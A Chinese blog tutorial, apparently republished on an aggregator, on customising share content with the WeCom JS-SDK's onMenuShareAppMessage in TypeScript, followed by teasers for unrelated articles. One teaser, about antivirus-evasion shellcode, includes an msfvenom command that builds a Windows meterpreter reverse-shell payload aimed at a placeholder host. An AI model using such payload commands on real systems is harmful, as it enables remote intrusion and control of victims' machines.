feat:使用企业微信JS-SDK的onMenuShareAppMessage()实现点击转发自定义分享内容(TypeScript)

news2024/11/24 20:35:42

背景:企业微信应用使用企业微信JS-SDK的分享接口实现分享样式自定义
原生:
在这里插入图片描述
需要实现成:
在这里插入图片描述

企业微信JS-SDK 是企业微信面向网页开发者提供的 基于企业微信内 的网页开发工具包。
通过使用企业微信JS-SDK,网页开发者 可借助企业微信 高效地使用拍照、选图、语音、位置等手机系统的能力,同时可以直接使用企业微信分享、扫一扫等企业微信特有的能力,为企业微信用户提供更优质的网页体验。

传送门:企微JS-SDK开发文档

目录

    • 步骤一:引入JSSDK
    • 步骤二:通过config接口注入权限验证配置
      • 注意点: url的赋值
    • 步骤三:封装分享api
      • 注意点:每次调用api都需要重新注册一遍
    • 步骤四:监听转发按钮

步骤一:引入JSSDK

<!-- 这里以jssdk1.2.0为例子,在html文件里引入jssdk -->
<script src="https://res.wx.qq.com/open/js/jweixin-1.2.0.js"></script>

步骤二:通过config接口注入权限验证配置

// 示例:
wx.config({
    beta: true,// 必须这么写,否则wx.invoke调用形式的jsapi会有问题
    debug: true, // 开启调试模式,调用的所有api的返回值会在客户端alert出来,若要查看传入的参数,可以在pc端打开,参数信息会通过log打出,仅在pc端时才会打印。
    appId: '', // 必填,企业微信的corpID,必须是本企业的corpID,不允许跨企业使用
    timestamp: '', // 必填,生成签名的时间戳
    nonceStr: '', // 必填,生成签名的随机串
    signature: '',// 必填,签名,见 附录-JS-SDK使用权限签名算法
    jsApiList: [] // 必填,需要使用的JS接口列表,凡是要调用的接口都需要传进来
});

这里的config里的内容一般是请求后端获取,举个例子:

新建一个qwjssdk.ts文件或js文件,这里以Typescript为例,JavaScript类似。

  1. 提前将需要用到的api用一个数组存起来
const defaultApiSet = new Set([
  'onMenuShareAppMessage', // 获取“转发”按钮点击状态及自定义分享内容接口
])
/**
 * [getBrowserEnv 判断当前浏览器的环境,可忽略]
 * @return {[Object]}
 */
function getBrowserEnv(): {isWxWork: boolean, wxWorkVersion: string | null} {
  const ua = navigator.userAgent.toLowerCase()
  const isWxWork = /wxwork/i.test(ua) && /micromessenger/i.test(ua)
  // 获取企业微信版本
  let wxWorkVersion = null
  if (ua.match(/wxwork\/(\S*)\s/)) {
    wxWorkVersion = (ua.match(/wxwork\/(\S*)\s/) as object)[1]
  }
  return {
    isWxWork,
    wxWorkVersion
  }
}
  1. 定义一个方法调用签名接口和注册配置信息

    getParams是请求后端接口,获取签名,返回来的参数可以与配置信息对应上即可,一般返回(appId、timestamp、noncestr、signature)。具体可阅读JS-SDK使用权限签名算法。

    注意点: url的赋值

    为什么 url赋值 要使用encodeURIComponent()
    :因为有个业务场景需要带值为中文的请求参数,所以这里需要先编码再把url传给签名接口,否则不会走分享api。这里因项目而异。没有作者这个业务场景的话可以直接将url赋值为window.location.href.split('#')[0]

// 请求接口获取参数
async getParams() {
    const url = encodeURIComponent(window.location.href.split('#')[0]) // 注意点,因项目而已
    const res = await Api.getJssdkConfig({ launchUrl: url }) // 请求自己定义接口的方法
    if (res.code.value === 0) {
      return new Promise((resolve, reject) => {
        resolve(res.data.value)
      })
    }
  }
async initConfig() {
	const config:any = await this.getParams() 
	if (!config) {
		console.log('签名失败')
		return false
    }
    config.jsApiList = Array.from(defaultApiSet) // 将需要用到的api赋值给confi.JsAPIList
    await this.registeredConfig(config) // 去注册,将注册信息带到注册配置方法里面
}
  1. 注册配置信息
// 注册配置信息
registeredConfig(config) {
    console.log('registeredConfig config:>> ', config);
    window.wx.config({
      // 必须这么写,否则wx.invoke调用形式的jsapi会有问题
      beta: true,
      // 开启调试模式
      debug: false,
      // 必填,企业微信的corpID
      appId: config.appId,
      // 必填,生成签名的时间戳
      timestamp: +config.timestamp,
      // 必填,生成签名的随机串
      nonceStr: config.noncestr,
      // 必填,签名,见 附录-JS-SDK使用权限签名算法
      signature: config.signature,
      // 必填,需要使用的JS接口列表,凡是要调用的接口都需要传进来
      jsApiList: config.jsApiList
    })
    return new Promise((resolve, reject) => {
      // 如果是企业微信端的情况下执行,浏览器的情况下走else。不判断的话可忽略此判断。此方法在上面已经写了。
      if (getBrowserEnv().isWxWork) {
        window.wx.ready(() => {
          console.log('注册成功', config)
          // config信息验证后会执行ready方法,所有接口调用都必须在config接口获得结果之后,config是一个客户端的异步操作,所以如果需要在页面加载时就调用相关接口,则须把相关接口放在ready函数中调用来确保正确执行。对于用户触发时才调用的接口,则可以直接调用,不需要放在ready函数中。
          resolve(null)
        })
        window.wx.error(err => {
          // config信息验证失败会执行error函数,如签名过期导致验证失败,具体错误信息可以打开config的debug模式查看,也可以在返回的res参数中查看,对于SPA可以在这里更新签名。
          console.log('注册失败', err, config)
          reject(err)
        })
      } else {
        resolve(null)
      }
    })
  }

步骤三:封装分享api

在公共方法文件里面封装分享方法的调用。
这里就命名一个common.ts文件为例吧。

注意点:每次调用api都需要重新注册一遍

每次调用api之前都需要调用前面写的initConfig()重新注册一遍配置信息。否则分享的样式比如title、desc、imgUrl都会不生效。

// 引入qwjssdk文件,路径自己决定
import qwjssdk from '~/utils/qwjssdk'
/**
 * 通过调用jssdk能力自定义分享内容
 * */
export const wxShareAppMessage = async (shareObj: shareObj) => {
  await qwjssdk.initConfig() // 重点!!这里根据业务需求,需要每次更换路由都需要重新注册一遍,否则分享出去的样式不生效。
  if (!window.wx) {
    return
  }
  // 获取“转发”按钮点击状态及自定义分享内容接口
  window.wx.onMenuShareAppMessage({
    title: shareObj.title, // 分享标题
    desc: shareObj.desc, // 分享描述
    link: shareObj.link, // 分享链接
    imgUrl: shareObj.imgUrl, // 分享图标
    success: function () {
      // 这里可以写分享成功之后的逻辑
      console.log('SUCCESS onMenuShareAppMessage :>> ', shareObj);
    },
    error: (err)=>{
      // 这里可以写分享失败之后的逻辑
      console.log('ERR onMenuShareAppMessage :>> ', err);
    }
  });
}

这里只用到了success 和 error 的回调,其他回调可以看下面这段官网的描述:

所有接口通过wx对象(也可使用jWeixin对象)来调用,参数是一个对象,除了每个接口本身需要传的参数之外,还有以下通用参数:
success:接口调用成功时执行的回调函数。
fail:接口调用失败时执行的回调函数。
complete:接口调用完成时执行的回调函数,无论成功或失败都会执行。
cancel:用户点击取消时的回调函数,仅部分有用户取消操作的api才会用到。
trigger: 监听Menu中的按钮点击时触发的方法,该方法仅支持Menu中的相关接口。
注意
不要尝试在 trigger 中使用 Ajax 异步请求修改本次分享的内容,因为客户端分享操作是一个同步操作,这时候使用 Ajax 的回包会还没有返回。
以上几个函数都带有一个参数,类型为对象,其中除了每个接口本身返回的数据之外,还有一个通用属性err_msg,其值格式如下:
调用成功时:“xxx:ok” ,其中xxx为调用的接口名
用户取消时:“xxx:cancel”,其中xxx为调用的接口名
调用失败时:其值为具体错误信息

步骤四:监听转发按钮

在业务代码里面,引入封装的api,这里就以index.vue举例叭

import { wxShareAppMessage } from '~/utils/common'
/**
 *  调用分享api,实现分享自定义内容
 */
const toShare = () => {
  shareData.value = {
    title: '搜索',
    desc: '搜索',
    link: window.location.href,
    imgUrl: 'xxxxxxxxx.png'
  }
  wxShareAppMessage(shareData.value)
}

toShare()  // 根据自身的业务逻辑调整请求位置

执行上面代码就代表着开始监听转发按钮了。

快去尝试叭~

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/596614.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Python-shellcode免杀分离

#Python-原生态-MSF&CS&生成&执行代码 MSF-payload&#xff1a;msfvenom -p windows/meterpreter/reverse_tcp lhostX.X.X.X lport6688 -f c CS-payload&#xff1a; 攻击--生成后门--payload生成器--选择监听器和输出格式为C语言 python 3.10-32位&#xff0c;注…

如何将完成的报告从 FastReport .NET 导出到 S3

FastReport .NET 报表生成器FastReport .NET是适用于.NET Core 3&#xff0c;ASP.NET&#xff0c;MVC和Windows窗体的全功能报告库。使用FastReport .NET&#xff0c;您可以创建独立于应用程序的.NET报告。 简单存储服务是一种用于存储大量数据的服务。该服务将存储的数据划分…

BERT在GLUE数据集构建任务(未完待续。。。)

0 Introduction 谷歌开源的BERT项目在Github上&#xff0c;视频讲解可以参考B站上的一个视频 1 GLUE部分基准数据集介绍 GLUE数据集官网GLUE数据集下载&#xff0c;建议下载运行这个.py脚本文件进行数据集的下载&#xff0c;如果连接无法打开&#xff0c;运行下面代码。运行…

想知道视频转音频怎么操作?快来看看这三种方法

在数字化时代&#xff0c;视频已成为人们生活、学习、工作中不可或缺的元素。不过&#xff0c;在某些情况下&#xff0c;仅通过视觉体验来获取信息可能并不方便或实用。比如&#xff0c;对于听障人士&#xff0c;他们无法通过视觉方式获取信息&#xff0c;但可以通过听觉方式接…

一文教你高速PCB信号完整性仿真怎么做

在高速PCB设计中&#xff0c;信号完整性是确保信号在电路板上传输过程中的稳定性和可靠性的重点&#xff0c;通过仿真工具进行信号完整性可帮助工程师在设计阶段解决信号完整性问题&#xff0c;从而优化电路板的性能和可靠性。那么如何做好PCB信号完整性仿真&#xff1f;下面来…

1.3 eBPF的工作原理初探

写在前面 上一节提到过,eBPF程序是面向BPF体系结构指令集编写的,它并不直接运行在Linux内核中,我们可以理解为它是运行在eBPF虚拟机,由eBPF虚拟机来执行eBPF字节码,就像java运行在jvm一样。 我们用一张原理图来看下eBPF程序的编译,加载,验证,钩子,映射等结点。 如上是…

Matlab查找整行为0的行号并记录

find函数 该函数可以查找非零元素的索引和值 例如&#xff1a; X 331 0 20 1 10 0 4 k find(X) %返回非零元素的索引号&#xff0c;即按列检索对应数值的序号 k_0 find(~X) %返回零元素的索引号 matlab检索索引号的方式如下&#xff1a;输出结…

CDN之域名管理操作流程简介

一、火伞云端配置 1、点击“域名管理”&#xff0c;找到需要配置的域名&#xff0c;点击“常规配置” 2、进入“域名配置”界面&#xff0c;点击“配置我的CNAME” 3、将要配置的CNAME配置到我的DNS&#xff0c;请复制此处的CNAME地址&#xff0c;同时打开您网站所属的DNS服务…

Linux 扩展磁盘空间

1. 为什么我的 Linux 磁盘空间不够用&#xff1f;/ 插入新的磁盘要怎么用&#xff1f; [注]&#xff1a;第一节基本是一些啰里啰唆的内容&#xff0c;想直接看如何操作&#xff0c;请直接跳转至第二小节&#x1f9d0; 很多人遇到这样的问题&#xff0c;当给一台新的主机安装上…

MySQL报错cannot add foreign key constraint解决方法

1 问题场景 利用Navicat对MySQL两张表想要进行外键关联时设置正确&#xff0c;但出现出现如下错误 2 原因分析 创建外键错误的原因大概有一下几个原因&#xff1a; 1、关联的两个字段的字段的类型不一致 2、设置外键删除时set null 3、两张表的引擎不一致 2.1 数据类型不一…

2023 下半年程序员生存指南!

见字如面&#xff0c;我是军哥&#xff01; 最近看到 4 月份&#xff0c;我国青年失业率 20.4%&#xff0c;说实话这个数字相当的高呀&#xff01; 另外&#xff0c;伴随最近若干大厂裁员&#xff0c;就这周就有两位读者跟我说被裁员了&#xff0c;我估计下半年的 IT 行业更是艰…

BR 5AP1130.156C-000

物料号: 5AP1130.156C-000 描述: 自动化装置面板 15.6" FullHD TFT - 1920 x 1080 像素 (16:9) - 多点触控&#xff08;投射电容&#xff09; - 开关柜安装 - 横向 - 用于 PPC900/PPC2100/PPC3100/ 联接模块 B&R ID 代码0xEC5D许可证 显示屏 类型TFT 彩色对角线…

ChatGPT 插件:深入探讨 OpenAI 的新功能及其如何改变我们使用 AI 的方式

OpenAI的API现在正在为成千上万的商业和开源项目和应用程序提供AI动力。而在推出六个月后&#xff0c;ChatGPT的插件终于加入了机智的聊天机器人&#xff0c;能够更好的应用在不同的场景中。 &#x1f50c; 什么是ChatGPT插件&#xff1f; ChatGPT插件是专门的扩展&#xff0…

报错:dll不是有效的win32应用程序

学习如何创建并调用动态库时&#xff0c;新建了一个项目用于调用自己创建的动态库&#xff0c;如下&#xff1a; 其中Dll3是新创建的动态库&#xff0c;text3是新建的另一个项目用于调用Dll3动态库&#xff0c;运行时报错如下&#xff1a; 原因在于Dll3动态库是默认的启动项目…

得物 H5容器 野指针疑难问题排查 解决

1背景 得物 iOS 4.9.x 版本 上线后&#xff0c;一些带有横向滚动内容的h5页面&#xff0c;有一个webkit 相关crash增加较快。通过Crash堆栈判断是UIScrollview执行滚动动画过程中内存野指针导致的崩溃。 2前期排查 通过页面浏览日志&#xff0c;发现发生崩溃时所在的页面都是…

C/C++数据类型从0到内存具体分配详解

一&#xff0c;数据类型分类 1.整形家族&#xff1a;char , short , int , long , long long , unsigned int , unsigned char , unsinged short , unsigned long , unsinged long long 。&#xff08;为什么将char归入整形家族是因为字符在机器中是以Ascll码值储存的&#…

分类管理你的联系人,有效提升营销转化率!

电子邮件营销已成为外贸和跨境电商企业宣传产品和服务的必不可少的工具。在电子邮件营销中&#xff0c;电子邮件联系人列表的质量对活动的成功至关重要。提高联系人名单质量的途径之一就是对联系人进行分类管理。本文将讨论为邮件联系人为什么要分类管理&#xff1f; 1、提高活…

风险投资成功案例分析_著名的风投成功案例

风险投资成功案例分析1 转换科技公司(Transition Technology Inc.以下简称TTI)在1987年初开始寻求风险资本&#xff0c;直到212天后终于获得了3i风险投资公司(以下简称3i)等提供的300万美元风险资本。这是一个比较常规的风险投资过程&#xff0c;但其中的曲折历程也颇耐人…

Maven uber-jar(带依赖的打包插件) spring-boot-maven-plugin

文章目录 最基础的 spring-boot-maven-plugin 使用指定入口类安装部署原始 Jar 包到仓库保持原始Jar包名称&#xff0c;为 spring-boot-maven-plugin 生成的Jar包添加名称后缀打包时排除依赖建议将生成的Jar解压后了解一下整体结构与其他常用打包插件比较 本文是对 spring-boot…

04 【计算属性 侦听属性】

04 【计算属性 侦听属性】 1.计算属性 1.1插值语法实现 <title>姓名案例_插值语法实现</title><div id"root">姓&#xff1a;<input type"text" v-model"firstName"> <br/>名&#xff1a;<input type"…